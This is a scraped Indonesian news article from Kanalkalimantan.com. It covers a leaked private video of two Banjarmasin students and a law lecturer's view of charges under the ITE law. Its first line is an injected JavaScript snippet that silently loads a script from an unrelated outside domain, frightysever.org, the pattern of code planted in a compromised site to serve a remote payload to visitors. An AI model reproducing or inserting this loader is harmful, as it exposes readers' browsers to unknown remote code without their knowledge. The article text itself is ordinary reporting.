(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Tersebarnya video mesum mahasiswa G dan N, kini telah memasuki ranah hukum. Dua orang yang berada dalam video tersebut mendatangi Polresta Banjarmasin untuk mengusut tuntas dan mencari tahu siapa dalang penyebar video privacy tersebut.
Dosen Fakultas Hukum Universitas Lambung Mangkurat (ULM) Banjarmasin, Daddy Fahmanadie SH mengatakan, sah-sah saja jika warga negara melapor jika merasa dikaitkan sebagai korban atas penyebaran video tersebut. Asal dengan catatan korban di dalam video tersebut benar-benar tidak terlibat dalam proses tersebarnya rekaman pribadi tersebut secara sengaja.
“Perihal perbuatan tersebarnya video ini tentulah menjadi persoalan yang bisa ditarik ke dalam ranah hukum, maka instrumen hukumnya adalah hukum cyber atau cyber law, yaitu UU informasi dan transaksi elektronik (ITE) nomor 11 tahun 2008 sebagaimana dirubah melalui UU nomor 19 tahun 2016,†terangnya ketika dihubungi Kanalkalimantan.com, via WhatsApp.
Baca Juga: N, Aktris Video Mesum Masih Aktif Sebagai Mahasiswa Angkatan 2018
Dalam Pasal 27 ayat (3) UU ITE dapat menjerat pelaku utama penyebaran sedangkan pelaku lainnya bisa saja terkena pasal 55 KUHP (orang yang turut melakukan).
“Namun kerumitannya adalah bagaimana pihak yang berwenang menjerat pelaku. Mengingat video ini sudah tersebar hingga ke banyak orang, sehingga dalam pasal tersebut, cenderung menjerat pelaku utama atau pelaku paling pertama saja,†jelasnya.
Bunyi Pasal 27 ayat (3) UU ITE adalah sebagai berikut: Setiap Orang dengan sengaja dan tanpa hak mendistribusikan dan/atau mentransmisikan dan/atau membuat dapat diaksesnya Informasi Elektronik dan/atau Dokumen Elektronik yang memiliki muatan penghinaan dan/atau pencemaran nama baik.
“Ancamannya pidana penjara paling lama 4 tahun, denda paling banyak Rp750 juta, bila terbukti melanggar pasal 27 ayat 3 UU ITE,†sebut Deddy.
Di sisi lain, terang Deddy, persoalan pasal karet UU ITE ini masih terdapat pro dan kontra, sebab instrumen kesusilaan yang dimaksud masih belum jelas. “Padahal kita juga memiliki UU pornografi secara spesifik, termasuk KUHP yang menjadi aturan dasar delik umumnya, namun KUHP saat ini tdk mengatur hal tesebut, berbeda dengan RUU KUHP yang nanti disahkan,†bebernya.
Baca Juga: Video Mesum Mahasiswi Banjarmasin Hebohkan Dunia Maya
Meskipun terjadi dilematis dalam penggunaan hukum cyber pasal UU ITE, tapi dalam hal pelaksanaan hukum terlepas dari pro dan kontra pasal 27, demi kepastian hukum maka pelaku penyebaran tersebut sangat dimungkinkan dijerat dengan UU ITE. Namun kelemahannya adalah jika disandingkan dengan keadilan dan kemanfaatan hukum, maka tujuan hukum pidananya harus progresif dan bukan cendrung normatif yang hanya saklek dengan pidana penjara saja.
Sebelumnya warga Banjarmasim dihebohkan oleh 9 video berdurasi di bawah satu menit pasangan G dan N yang sedang melakukan hubungan layaknya suami istri. G dan N merupakan seorang pasangan duta merek salah satu jenama di Banjarmasin. N sendiri merupakan seorang mahasiswi semester awal di salah satu perguruan tinggi swasta di Banjarmasin. (mario)
KANALKALIMANTAN.COM, BANJARBARU – Sebuah hotel baru di ruas Jalan Panglima Batur Banjarbaru akan melakukan soft… Read More
KANALKALIMANTAN.COM, BANJARBARU – Langkah politik Erna Lisa Halaby mencari partai politik pengusung dalam Pemilihan Wali… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana bersama Tim Pengawas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tersengat aliran listrik bertegangan tinggi, seekor satwa dilindungi lutung terkapar berhasil dievakuasi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Teknologi yang saat ini berkembang sangat pesat dan cepat telah membuat perubahan… Read More
Lisa Halaby: Saya Siap, Insyaallah Mundur Sebagai ASN Read More
This website uses cookies.